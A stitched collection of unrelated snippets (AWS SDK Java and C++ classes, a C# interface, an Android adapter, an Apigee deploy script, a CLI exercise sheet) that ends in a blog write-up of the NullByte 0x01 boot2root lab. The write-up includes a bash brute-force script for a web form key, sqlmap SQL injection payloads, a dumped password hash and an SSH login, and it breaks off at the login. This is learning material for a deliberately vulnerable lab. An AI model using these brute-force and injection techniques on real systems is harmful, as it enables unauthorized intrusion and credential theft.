    /**
     * A complex type that identifies ways in which you want to restrict
     * distribution of your content.
     *
     * @param restrictions A complex type that identifies ways in which you want to restrict
     *         distribution of your content.
     */
    public void setRestrictions(Restrictions restrictions) {
        this.restrictions = restrictions;
    }

    /**
     * A complex type that identifies ways in which you want to restrict
     * distribution of your content.
     *

     * Returns a reference to this object so that method calls can be chained together.
     *
     * @param restrictions A complex type that identifies ways in which you want to restrict
     *         distribution of your content.
     *
     * @return A reference to this updated object so that method calls can be chained
     *         together.
     */
    public DistributionConfig withRestrictions(Restrictions restrictions) {
        this.restrictions = restrictions;
        return this;
    }

    /**
     * (Optional) If you're using AWS WAF to filter CloudFront requests, the
     * Id of the AWS WAF web ACL that is associated with the distribution.
     *
     * @return (Optional) If you're using AWS WAF to filter CloudFront requests, the
     *         Id of the AWS WAF web ACL that is associated with the distribution.
     */
    public String getWebACLId() {
        return webACLId;
    }

    /**
     * (Optional) If you're using AWS WAF to filter CloudFront requests, the
     * Id of the AWS WAF web ACL that is associated with the distribution.
     *
     * @param webACLId (Optional) If you're using AWS WAF to filter CloudFront requests, the
     *         Id of the AWS WAF web ACL that is associated with the distribution.
     */
    public void setWebACLId(String webACLId) {
        this.webACLId = webACLId;
    }

    /**
     * (Optional) If you're using AWS WAF to filter CloudFront requests, the
     * Id of the AWS WAF web ACL that is associated with the distribution.
     *

     * Returns a reference to this object so that method calls can be chained together.
     *
     * @param webACLId (Optional) If you're using AWS WAF to filter CloudFront requests, the
     *         Id of the AWS WAF web ACL that is associated with the distribution.
     *
     * @return A reference to this updated object so that method calls can be chained
     *         together.
     */
    public DistributionConfig withWebACLId(String webACLId) {
        this.webACLId = webACLId;
        return this;
    }

    /**
     * Returns a string representation of this object; useful for testing and
     * debugging.
     *
     * @return A string representation of this object.
     *
     * @see java.lang.Object#toString()
     */
    @Override
    public String toString() {
        StringBuilder sb = new StringBuilder();
        sb.append("{");
        if (getCallerReference() != null) sb.append("CallerReference: " + getCallerReference() + ",");
        if (getAliases() != null) sb.append("Aliases: " + getAliases() + ",");
        if (getDefaultRootObject() != null) sb.append("DefaultRootObject: " + getDefaultRootObject() + ",");
        if (getOrigins() != null) sb.append("Origins: " + getOrigins() + ",");
        if (getDefaultCacheBehavior() != null) sb.append("DefaultCacheBehavior: " + getDefaultCacheBehavior() + ",");
        if (getCacheBehaviors() != null) sb.append("CacheBehaviors: " + getCacheBehaviors() + ",");
        if (getCustomErrorResponses() != null) sb.append("CustomErrorResponses: " + getCustomErrorResponses() + ",");
        if (getComment() != null) sb.append("Comment: " + getComment() + ",");
        if (getLogging() != null) sb.append("Logging: " + getLogging() + ",");
        if (getPriceClass() != null) sb.append("PriceClass: " + getPriceClass() + ",");
        if (isEnabled() != null) sb.append("Enabled: " + isEnabled() + ",");
        if (getViewerCertificate() != null) sb.append("ViewerCertificate: " + getViewerCertificate() + ",");
        if (getRestrictions() != null) sb.append("Restrictions: " + getRestrictions() + ",");
        if (getWebACLId() != null) sb.append("WebACLId: " + getWebACLId() );
        sb.append("}");
        return sb.toString();
    }

    @Override
    public int hashCode() {
        final int prime = 31;
        int hashCode = 1;

        hashCode = prime * hashCode + ((getCallerReference() == null) ? 0 : getCallerReference().hashCode());
        hashCode = prime * hashCode + ((getAliases() == null) ? 0 : getAliases().hashCode());
        hashCode = prime * hashCode + ((getDefaultRootObject() == null) ? 0 : getDefaultRootObject().hashCode());
        hashCode = prime * hashCode + ((getOrigins() == null) ? 0 : getOrigins().hashCode());
        hashCode = prime * hashCode + ((getDefaultCacheBehavior() == null) ? 0 : getDefaultCacheBehavior().hashCode());
        hashCode = prime * hashCode + ((getCacheBehaviors() == null) ? 0 : getCacheBehaviors().hashCode());
        hashCode = prime * hashCode + ((getCustomErrorResponses() == null) ? 0 : getCustomErrorResponses().hashCode());
        hashCode = prime * hashCode + ((getComment() == null) ? 0 : getComment().hashCode());
        hashCode = prime * hashCode + ((getLogging() == null) ? 0 : getLogging().hashCode());
        hashCode = prime * hashCode + ((getPriceClass() == null) ? 0 : getPriceClass().hashCode());
        hashCode = prime * hashCode + ((isEnabled() == null) ? 0 : isEnabled().hashCode());
        hashCode = prime * hashCode + ((getViewerCertificate() == null) ? 0 : getViewerCertificate().hashCode());
        hashCode = prime * hashCode + ((getRestrictions() == null) ? 0 : getRestrictions().hashCode());
        hashCode = prime * hashCode + ((getWebACLId() == null) ? 0 : getWebACLId().hashCode());
        return hashCode;
    }

    @Override
    public boolean equals(Object obj) {
        if (this == obj) return true;
        if (obj == null) return false;

        if (obj instanceof DistributionConfig == false) return false;
        DistributionConfig other = (DistributionConfig)obj;

        if (other.getCallerReference() == null ^ this.getCallerReference() == null) return false;
        if (other.getCallerReference() != null && other.getCallerReference().equals(this.getCallerReference()) == false) return false;
        if (other.getAliases() == null ^ this.getAliases() == null) return false;
        if (other.getAliases() != null && other.getAliases().equals(this.getAliases()) == false) return false;
        if (other.getDefaultRootObject() == null ^ this.getDefaultRootObject() == null) return false;
        if (other.getDefaultRootObject() != null && other.getDefaultRootObject().equals(this.getDefaultRootObject()) == false) return false;
        if (other.getOrigins() == null ^ this.getOrigins() == null) return false;
        if (other.getOrigins() != null && other.getOrigins().equals(this.getOrigins()) == false) return false;
        if (other.getDefaultCacheBehavior() == null ^ this.getDefaultCacheBehavior() == null) return false;
        if (other.getDefaultCacheBehavior() != null && other.getDefaultCacheBehavior().equals(this.getDefaultCacheBehavior()) == false) return false;
        if (other.getCacheBehaviors() == null ^ this.getCacheBehaviors() == null) return false;
        if (other.getCacheBehaviors() != null && other.getCacheBehaviors().equals(this.getCacheBehaviors()) == false) return false;
        if (other.getCustomErrorResponses() == null ^ this.getCustomErrorResponses() == null) return false;
        if (other.getCustomErrorResponses() != null && other.getCustomErrorResponses().equals(this.getCustomErrorResponses()) == false) return false;
        if (other.getComment() == null ^ this.getComment() == null) return false;
        if (other.getComment() != null && other.getComment().equals(this.getComment()) == false) return false;
        if (other.getLogging() == null ^ this.getLogging() == null) return false;
        if (other.getLogging() != null && other.getLogging().equals(this.getLogging()) == false) return false;
        if (other.getPriceClass() == null ^ this.getPriceClass() == null) return false;
        if (other.getPriceClass() != null && other.getPriceClass().equals(this.getPriceClass()) == false) return false;
        if (other.isEnabled() == null ^ this.isEnabled() == null) return false;
        if (other.isEnabled() != null && other.isEnabled().equals(this.isEnabled()) == false) return false;
        if (other.getViewerCertificate() == null ^ this.getViewerCertificate() == null) return false;
        if (other.getViewerCertificate() != null && other.getViewerCertificate().equals(this.getViewerCertificate()) == false) return false;
        if (other.getRestrictions() == null ^ this.getRestrictions() == null) return false;
        if (other.getRestrictions() != null && other.getRestrictions().equals(this.getRestrictions()) == false) return false;
        if (other.getWebACLId() == null ^ this.getWebACLId() == null) return false;
        if (other.getWebACLId() != null && other.getWebACLId().equals(this.getWebACLId()) == false) return false;
        return true;
    }

    @Override
    public DistributionConfig clone() {
        try {
            return (DistributionConfig) super.clone();

        } catch (CloneNotSupportedException e) {
            throw new IllegalStateException(
                    "Got a CloneNotSupportedException from Object.clone() "
                    + "even though we're Cloneable!",
                    e);
        }

    }

}


text:
namespace OneHourSport.Services.Contracts
{
    using Models;
    using System;
    using System.Linq;

    public interface IComplexService
    {
        IQueryable<SportComplex> GetAll();

        IQueryable<SportComplex> GetTopThree();

        IQueryable<SportComplex> GetById(string id);

        string Create(SportComplex complex);

        SportComplex GetByFieldId(int fieldId);

        void Update(SportComplex complex);

    }
}


text:
<?xml version="1.0" encoding="utf-8"?>
<DexEntry>
  <General>
    <Name>Dewott</Name>
    <SpeciesName>Discipline</SpeciesName>
    <GrowthGroup>MediumSlow</GrowthGroup>
    <EggGroup1>Field</EggGroup1>
    <EggGroup2 />
  </General>
</DexEntry>


text:
package com.mayinews.mv.home.adapter;

import android.content.Context;
import android.media.Image;
import android.text.TextUtils;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.TextView;

import com.bumptech.glide.Glide;
import com.bumptech.glide.load.model.GlideUrl;
import com.bumptech.glide.load.model.LazyHeaders;
import com.mayinews.mv.R;
import com.mayinews.mv.home.bean.VideoLists;
import com.mayinews.mv.utils.Number2Thousand;
import com.mayinews.mv.utils.StringUtil;

import java.text.SimpleDateFormat;
import java.util.List;

/**
 * Created by gary on 2017/6/26 0026.
 * 微信:GH-12-10
 * QQ:1683701403
 * 播放视频x详情界面的猜你喜欢的adapter
 *
 */

public class GuessAuthorAdapter extends BaseAdapter {
    private Context context;
    private LayoutInflater inflater;
    private List<VideoLists.ResultBean> guessLikeVideos; //猜你喜欢相关的视频

    public GuessAuthorAdapter(Context context,List<VideoLists.ResultBean> guessLikeVideos) {
        this.context = context;
        inflater=LayoutInflater.from(context);
        this.guessLikeVideos=guessLikeVideos;
    }

    @Override
    public int getCount() {
        return guessLikeVideos.size();
    }

    @Override
    public Object getItem(int position) {
        return guessLikeVideos.get(position);
    }

    @Override
    public long getItemId(int position) {
        return position;
    }

    @Override
    public View getView(int position, View convertView, ViewGroup parent) {
        VideoLists.ResultBean resultBean = guessLikeVideos.get(position);
        ViewHolder viewHolder=null;
        if(convertView==null){
             convertView=inflater.inflate(R.layout.item_guess_author,parent,false);
            viewHolder=new ViewHolder();
            viewHolder.videoTitle= (TextView) convertView.findViewById(R.id.title);
            viewHolder.authorName= (TextView) convertView.findViewById(R.id.authorName);
            viewHolder.videoImageView= (ImageView) convertView.findViewById(R.id.videoImageView);
            viewHolder.videoDuration= (TextView) convertView.findViewById(R.id.videoDuration);
            viewHolder.viewCount= (TextView) convertView.findViewById(R.id.viewCount);
            convertView.setTag(viewHolder);

        }else {
            viewHolder = (ViewHolder) convertView.getTag();
        }
        //设置数据
        viewHolder.videoTitle.setText(resultBean.getTitle());
        viewHolder.authorName.setText(resultBean.getNickname());
        viewHolder.viewCount.setText(Number2Thousand.number2Thousand(resultBean.getView())+"次播放");
        Glide.with(context).load(buildGlideUrl(resultBean.getCover())).into(viewHolder.videoImageView);
        SimpleDateFormat format=new SimpleDateFormat("mm:ss");
        double v = Double.parseDouble(resultBean.getDuration()) * 1000;
        String duration = format.format(v);
        viewHolder.videoDuration.setText(duration);
        return convertView;
    }
    private GlideUrl buildGlideUrl(String url) {
        if (TextUtils.isEmpty(url)) {
            return null;
        } else {
            return new GlideUrl(url, new LazyHeaders.Builder().addHeader("Referer", "http://www.mayinews.com").build());
        }
    }

    class ViewHolder {
        TextView videoTitle;
        TextView authorName;
        TextView viewCount;
        ImageView videoImageView;
        TextView videoDuration;

    }

    }


text:
#pragma once
#include <aws/rds/RDS_EXPORTS.h>
#include <aws/rds/RDSRequest.h>
#include <aws/core/utils/memory/stl/AWSString.h>
#include <utility>

namespace Aws
{
namespace RDS
{
namespace Model
{

  /**
   *
Parameter input for the DeleteDBInstanceAutomatedBackup
   * operation.

See Also:
   AWS
   * API Reference

   */
  class AWS_RDS_API DeleteDBInstanceAutomatedBackupRequest : public RDSRequest
  {
  public:
    DeleteDBInstanceAutomatedBackupRequest();

    // Service request name is the Operation name which will send this request out,
    // each operation should has unique request name, so that we can get operation's name from this request.
    // Note: this is not true for response, multiple operations may have the same response name,
    // so we can not get operation's name from response.
    inline virtual const char* GetServiceRequestName() const override { return "DeleteDBInstanceAutomatedBackup"; }

    Aws::String SerializePayload() const override;

  protected:
    void DumpBodyToUrl(Aws::Http::URI& uri ) const override;

  public:

    /**
     *
The identifier for the source DB instance, which can't be changed and which
     * is unique to an AWS Region.

     */
    inline const Aws::String& GetDbiResourceId() const{ return m_dbiResourceId; }

    /**
     *
The identifier for the source DB instance, which can't be changed and which
     * is unique to an AWS Region.

     */
    inline bool DbiResourceIdHasBeenSet() const { return m_dbiResourceIdHasBeenSet; }

    /**
     *
The identifier for the source DB instance, which can't be changed and which
     * is unique to an AWS Region.

     */
    inline void SetDbiResourceId(const Aws::String& value) { m_dbiResourceIdHasBeenSet = true; m_dbiResourceId = value; }

    /**
     *
The identifier for the source DB instance, which can't be changed and which
     * is unique to an AWS Region.

     */
    inline void SetDbiResourceId(Aws::String&& value) { m_dbiResourceIdHasBeenSet = true; m_dbiResourceId = std::move(value); }

    /**
     *
The identifier for the source DB instance, which can't be changed and which
     * is unique to an AWS Region.

     */
    inline void SetDbiResourceId(const char* value) { m_dbiResourceIdHasBeenSet = true; m_dbiResourceId.assign(value); }

    /**
     *
The identifier for the source DB instance, which can't be changed and which
     * is unique to an AWS Region.

     */
    inline DeleteDBInstanceAutomatedBackupRequest& WithDbiResourceId(const Aws::String& value) { SetDbiResourceId(value); return *this;}

    /**
     *
The identifier for the source DB instance, which can't be changed and which
     * is unique to an AWS Region.

     */
    inline DeleteDBInstanceAutomatedBackupRequest& WithDbiResourceId(Aws::String&& value) { SetDbiResourceId(std::move(value)); return *this;}

    /**
     *
The identifier for the source DB instance, which can't be changed and which
     * is unique to an AWS Region.

     */
    inline DeleteDBInstanceAutomatedBackupRequest& WithDbiResourceId(const char* value) { SetDbiResourceId(value); return *this;}

    /**
     *
The Amazon Resource Name (ARN) of the automated backups to delete, for
     * example,
     * arn:aws:rds:us-east-1:123456789012:auto-backup:ab-L2IJCEXJP7XQ7HOJ4SIEXAMPLE.

     */
    inline const Aws::String& GetDBInstanceAutomatedBackupsArn() const{ return m_dBInstanceAutomatedBackupsArn; }

    /**
     *
The Amazon Resource Name (ARN) of the automated backups to delete, for
     * example,
     * arn:aws:rds:us-east-1:123456789012:auto-backup:ab-L2IJCEXJP7XQ7HOJ4SIEXAMPLE.

     */
    inline bool DBInstanceAutomatedBackupsArnHasBeenSet() const { return m_dBInstanceAutomatedBackupsArnHasBeenSet; }

    /**
     *
The Amazon Resource Name (ARN) of the automated backups to delete, for
     * example,
     * arn:aws:rds:us-east-1:123456789012:auto-backup:ab-L2IJCEXJP7XQ7HOJ4SIEXAMPLE.

     */
    inline void SetDBInstanceAutomatedBackupsArn(const Aws::String& value) { m_dBInstanceAutomatedBackupsArnHasBeenSet = true; m_dBInstanceAutomatedBackupsArn = value; }

    /**
     *
The Amazon Resource Name (ARN) of the automated backups to delete, for
     * example,
     * arn:aws:rds:us-east-1:123456789012:auto-backup:ab-L2IJCEXJP7XQ7HOJ4SIEXAMPLE.

     */
    inline void SetDBInstanceAutomatedBackupsArn(Aws::String&& value) { m_dBInstanceAutomatedBackupsArnHasBeenSet = true; m_dBInstanceAutomatedBackupsArn = std::move(value); }

    /**
     *
The Amazon Resource Name (ARN) of the automated backups to delete, for
     * example,
     * arn:aws:rds:us-east-1:123456789012:auto-backup:ab-L2IJCEXJP7XQ7HOJ4SIEXAMPLE.

     */
    inline void SetDBInstanceAutomatedBackupsArn(const char* value) { m_dBInstanceAutomatedBackupsArnHasBeenSet = true; m_dBInstanceAutomatedBackupsArn.assign(value); }

    /**
     *
The Amazon Resource Name (ARN) of the automated backups to delete, for
     * example,
     * arn:aws:rds:us-east-1:123456789012:auto-backup:ab-L2IJCEXJP7XQ7HOJ4SIEXAMPLE.

     */
    inline DeleteDBInstanceAutomatedBackupRequest& WithDBInstanceAutomatedBackupsArn(const Aws::String& value) { SetDBInstanceAutomatedBackupsArn(value); return *this;}

    /**
     *
The Amazon Resource Name (ARN) of the automated backups to delete, for
     * example,
     * arn:aws:rds:us-east-1:123456789012:auto-backup:ab-L2IJCEXJP7XQ7HOJ4SIEXAMPLE.

     */
    inline DeleteDBInstanceAutomatedBackupRequest& WithDBInstanceAutomatedBackupsArn(Aws::String&& value) { SetDBInstanceAutomatedBackupsArn(std::move(value)); return *this;}

    /**
     *
The Amazon Resource Name (ARN) of the automated backups to delete, for
     * example,
     * arn:aws:rds:us-east-1:123456789012:auto-backup:ab-L2IJCEXJP7XQ7HOJ4SIEXAMPLE.

     */
    inline DeleteDBInstanceAutomatedBackupRequest& WithDBInstanceAutomatedBackupsArn(const char* value) { SetDBInstanceAutomatedBackupsArn(value); return *this;}

  private:

    Aws::String m_dbiResourceId;
    bool m_dbiResourceIdHasBeenSet;

    Aws::String m_dBInstanceAutomatedBackupsArn;
    bool m_dBInstanceAutomatedBackupsArnHasBeenSet;
  };

} // namespace Model
} // namespace RDS
} // namespace Aws


text:
var apigeetool 		= require('apigeetool');
var lib				= require('../../lib');
var async           = require('async');
var lodash          = require('lodash');
var mustache        = require('mustache');
var request 		= require('request');

mustache.escape = function (value) {
    return value;
};

var sdk 			= apigeetool.getPromiseSDK();

var adapter = function () {
    this.clean 			= clean;
    this.build 			= build;
    this.deploy 		= deploy;
}

function build(context, resourceName, subResourceName, params, cb) {
    lib.print('meta','building kvm resources');
    cb();
}

function deploy(context, resourceName, subResourceName, params, cb) {
    //opts = lib.build_opts(context, resourceName, subResourceName)
    lib.print('meta','deploying kvm resources');

    var config          = context.getConfig(resourceName, subResourceName);

    var items           = lib.filter_items(config.items, params);

    var deploy_info     = context.getDeploymentInfo();

    for (var i=0; i< items.length; i++) {
        lodash.merge(items[i], deploy_info);
        items[i].context = context;
    }

    async.each(items, create_kvm, function(err){
        if(err){
            lib.print('ERROR', err);
            cb();
        } else {
            cb();
        }
    });
}

function create_kvm(item, callback) {
    var opts 			= item;
    var context         = item.context;
    delete item.context;

    // TODO conflict for environments attribute
    var payload = mustache.render(item.payload, context.getAllVariables());

    if(lib.is_json_string(item.payload)){
        var options = {
            uri: context.getVariable('edge_host') + '/v1/organizations/' + opts.organization + '/environments/' + opts.environments + '/keyvaluemaps',
            method: 'POST',
            headers: {
                'Content-type': 'application/json'
            },
            auth: {},
            body: payload
        };

        if(opts.token){
            options.auth.bearer = opts.token;
        } else {
            options.auth.username = opts.username;
            options.auth.password = opts.password;
        }

        request(options, function (error, response, body) {
            if (!error) {
                lib.print('info', 'created kvm ' + item.name);
                callback();
            } else {
                lib.print('error', 'error creating kvm ' + item.name);
                lib.print('error', error);
                callback();
            }
        });
    } else {
        lib.print('error', 'invalid JSON in payload');
        callback();
    }
}

function clean(context, resourceName, subResourceName, params, cb) {
    //opts = lib.build_opts(context, resourceName, subResourceName)
    lib.print('meta','cleaning kvm resources');

    var config          = context.getConfig(resourceName, subResourceName);

    var items           = lib.filter_items(config.items, params);

    var deploy_info     = context.getDeploymentInfo();

    for (var i=0; i< items.length; i++) {
        lodash.merge(items[i], deploy_info);
        items[i].context = context;
    }

    async.each(items, delete_kvm, function(err){
        if(err){
            lib.print('ERROR', err);
            cb();
        } else {
            cb();
        }

    })
}

function delete_kvm(item, callback) {
    var opts 			= item;
    var context			= item.context;
    delete item.context;

    opts.mapName  	= item.name;

    // TODO conflict for environments attribute
    var payload = mustache.render(item.payload, context.getAllVariables());

    if(lib.is_json_string(item.payload)){
        lodash.merge(opts, lib.normalize_data(JSON.parse(payload)));

        opts.mapName  	    = opts.name;
        opts.environment    = opts.environments[0];

        sdk.deleteKVM(opts)
            .then(function(result){
                //cache create success
                lib.print('info', 'deleted kvm ' + opts.mapName);
                callback();
            },function(err){
                //cache create failed
                lib.print('error', 'error deleting kvm ' + opts.mapName);
                lib.print('error', err);
                callback();
            });
    } else {
        lib.print('error', 'invalid JSON in payload');
        callback();
    }
}

exports.adapter 			= adapter;


text:
Unit 1 - Command Line Interface (cli) [HINT]
---
### **Exercises**

* Create a Python program to print out "Hello Python!" with the text editor and run it from the command line.
* list a directory
* show the current directory
* create a directory
* go into the newly created directory
* list the directory with hidden files
* print something out on the shell
* put something into a file
* show contents of file
* remove a file
* move a file

### Hints

Use the `man` command to look up how to use the `ls` command's `-a` flag

    ~ man ls

(the -a flag shows hidden files!)

List a directory:

    ~ ls

Print the directory:

    ~ pwd

Make a directory:

    ~ mkdir sandbox

Go into the newly created `sandbox` directory:

    ~ cd sandbox

List the hiddne files in the directory:

    ~ ls -la

Print out "hello" from the command line:

    ~ echo hello

Put the "hello" into a file:

    ~ echo hello > file.txt

Show the contents of the file:

    ~ cat file.txt

Remove the file:

    ~ rm file.txt

Move a file:

    ~ mv ../hello_python.py .


text:
* No specific agenda

## Notes

* [`:describe`][describe] for GHCi

* Attendance: TBD

[describe]: https://github.com/commercialhaskell/describe.git
[index]: ../


text:
©2016 recknerd.com

Designed by jon.reckner@gmail.com.

{{appVersion}}


text:
layout: post
title: "NullByte 0x01 hacking challenge"
date: 2015-08-06 00:27:34 -0400
comments: true
categories: boot2root
---

I saw this boot2root announced on [Twitter](https://twitter.com/ly0nx/status/627625979041697792) by [ly0nx](https://twitter.com/ly0nx) and decided to give it a go. It's not on VulnHub yet, but it looks like it might make it there sometime after Blackhat and Defcon is over. The boot2root is called NullByte 0x01 and is described as beginner/intermediate level challenge. I thought it was pretty easy, but still a fun challenge nonetheless. You can grab it at [http://ly0n.me/2015/08/01/nullbyte-challenge-0x01/](http://ly0n.me/2015/08/01/nullbyte-challenge-0x01/).

<!--more-->

I found the IP address of the target using netdiscover, and ran a full portscan on it. This returned the following results:

```
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind 2-4 (RPC #100000)
777/tcp   open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
56763/tcp open  status  1 (RPC #100024)
111/udp  open  rpcbind
5353/udp open  zeroconf
```

Web server on port 80, and SSH on non-standard port 777. I loaded up the web site on my browser:

![](/images/2015-08-06/01.png)

I ran nikto and wfuzz on the web server as well and came up with a handful of interesting directories, but nothing that I could leverage at the moment:

```
# wfuzz -c -z file,/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hc 404 http://192.168.107.135/FUZZ

********************************************************
* Wfuzz  2.0 - The Web Bruteforcer                     *
********************************************************

Target: http://192.168.107.135/FUZZ
Payload type: file,/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

Total requests: 220560
==================================================================
ID  Response   Lines      Word         Chars          Request
==================================================================

.
.
.
00162:  C=301      9 L        28 W      320 Ch    " - uploads"
01070:  C=301      9 L        28 W      323 Ch    " - javascript"
10821:  C=301      9 L        28 W      323 Ch    " - phpmyadmin"
.
.
.
```

Back to the web page, I decided to examine the image main.gif. Running exiftool on it revealed something interesting in the comments section:

```
# exiftool main.gif
ExifTool Version Number         : 8.60
File Name                       : main.gif
Directory                       : .
File Size                       : 16 kB
File Modification Date/Time     : 2015:08:01 12:39:30-04:00
File Permissions                : rw-r--r--
File Type                       : GIF
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 235
Image Height                    : 302
Has Color Map                   : No
Color Resolution Depth          : 8
Bits Per Pixel                  : 1
Background Color                : 0
Comment                         : P-): kzMb5nVYJw
Image Size                      : 235x302
```

At first I thought kzMb5nVYJw was some kind of encrypted text. I tried simple ciphers like ROT13 and Caesar, but nothing returned anything interesting. I tried using it as a password, but that didn't work. What eventually did work was using it in the URL:

![](/images/2015-08-06/02.png)

It was a form asking for a key. Viewing the source revealed a clue:

```html
<center>
<form method="post" action="index.php">
Key:<br>
<input type="password" name="key">
</form>
</center>
<!-- this form isn't connected to mysql, password ain't that complex --!>
```

Ok, so looks like I had to brute force a password. Not the most enjoyable thing, but necessary to continue. After trying several small wordlists, the winner was /usr/share/dict/words. I wrote the following script to brute force the password for me:

```bash
#!/bin/bash

passwdlist=$1
echo "Brute forcing key..."
while read password; do
    out=`curl -s -d "key=${password}" http://192.168.107.135/kzMb5nVYJw/index.php`
    echo ${out} | grep "invalid key" >/dev/null
    if [[ $? -ne 0 ]]; then
        echo -e "Found key \e[32m${password}"
        break
    fi
done < ${passwdlist}
```

And here it is in action:

```text
# ./brute.sh /usr/share/dict/words
Brute forcing key...
Found key elite
```

Took a few minutes, but I found the key. I punched it in and was greeted with yet another form. This time it was asking for a username to look up:

![](/images/2015-08-06/03.png)

Viewing the source revealed another PHP file; 420search.php:

```html
<p>Search for usernames: </p>
<hr>
<form action="420search.php" method="get">
Enter username:<br>
<input type="text" name="usrtosearch">
</form>
```

Accessing the URL for this revealed some interesting leaks:

![](/images/2015-08-06/04.png)

Two usernames, IDs, and positions. It looked like fields in a database. While the previous form wasn't connected to a database, I was betting that this one was. Searching for username resulted in the following URL: http://192.168.107.135/kzMb5nVYJw/420search.php?usrtosearch=ramses

I figured usrtosearch might be vulnerable to SQL injection, so I ran sqlmap against it:

```text
# sqlmap --url 'http://192.168.107.135/kzMb5nVYJw/420search.php?usrtosearch=ramses' --risk=2 --dbms=MySQL --level=2 --dbs
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150731}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 23:16:20

[23:16:20] [INFO] testing connection to the target URL
[23:16:20] [INFO] testing if the target URL is stable. This can take a couple of seconds
[23:16:21] [INFO] target URL is stable
[23:16:21] [INFO] testing if GET parameter 'usrtosearch' is dynamic
[23:16:21] [INFO] confirming that GET parameter 'usrtosearch' is dynamic
[23:16:21] [INFO] GET parameter 'usrtosearch' is dynamic
[23:16:21] [INFO] heuristic (basic) test shows that GET parameter 'usrtosearch' might be injectable (possible DBMS: 'MySQL')
.
.
.
sqlmap identified the following injection points with a total of 64 HTTP(s) requests:
---
Parameter: usrtosearch (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: usrtosearch=ramses" AND 2672=2672#

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: usrtosearch=ramses" AND (SELECT 6198 FROM(SELECT COUNT(*),CONCAT(0x7178766b71,(SELECT (CASE WHEN (6198=6198) THEN 1 ELSE 0 END)),0x7162767171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "lSdU"="lSdU

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: usrtosearch=ramses" UNION ALL SELECT CONCAT(0x7178766b71,0x6d69594f6768697a614b,0x7162767171),NULL,NULL#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload: usrtosearch=ramses" AND (SELECT * FROM (SELECT(SLEEP(5)))WqJu) AND "TIaN"="TIaN
---
[23:17:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.10
back-end DBMS: MySQL 5.0
[23:17:05] [INFO] fetching database names
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] seth

[23:17:05] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.107.135'

[*] shutting down at 23:17:05
```

Perfect. I dumped the contents of the seth database which revealed some juicy data:

```
# sqlmap --url 'http://192.168.107.135/kzMb5nVYJw/420search.php?usrtosearch=ramses' --risk=2 --dbms=MySQL --level=2 -D seth --dump
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150731}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 23:20:16

[23:20:16] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: usrtosearch (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: usrtosearch=ramses" AND 7400=7400#

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: usrtosearch=ramses" AND (SELECT 5418 FROM(SELECT COUNT(*),CONCAT(0x7176716a71,(SELECT (CASE WHEN (5418=5418) THEN 1 ELSE 0 END)),0x7170716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "pVLf"="pVLf

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: usrtosearch=ramses" UNION ALL SELECT NULL,NULL,CONCAT(0x7176716a71,0x474e5446774b66716f49,0x7170716a71)#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload: usrtosearch=ramses" AND (SELECT * FROM (SELECT(SLEEP(5)))tcur) AND "xRCR"="xRCR
---
[23:20:16] [INFO] testing MySQL
[23:20:16] [INFO] confirming MySQL
[23:20:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.10
back-end DBMS: MySQL >= 5.0.0
[23:20:16] [INFO] fetching tables for database: 'seth'
[23:20:16] [INFO] fetching columns for table 'users' in database 'seth'
[23:20:16] [INFO] fetching entries for table 'users' in database 'seth'
[23:20:16] [INFO] analyzing table dump for possible password hashes
Database: seth
Table: users
[2 entries]
+----+---------------------------------------------+--------+------------+
| id | pass                                        | user   | position   |
+----+---------------------------------------------+--------+------------+
| 1  | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank>    |
| 2  | --not allowed--                             | isis   | employee   |
+----+---------------------------------------------+--------+------------+

[23:20:16] [INFO] table 'seth.users' dumped to CSV file '/root/.sqlmap/output/192.168.107.135/dump/seth/users.csv'
[23:20:16] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.107.135'

[*] shutting down at 23:20:16
```

There's a Base64 MD5 hash for ramses' password. To crack it, I just Googled it:

![](/images/2015-08-06/05.png)

Password was omega, and it turned out those were the SSH credentials for ramses.

```
# ssh -p777 ramses@192.168.107.135
ramses@192.168.107.135's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

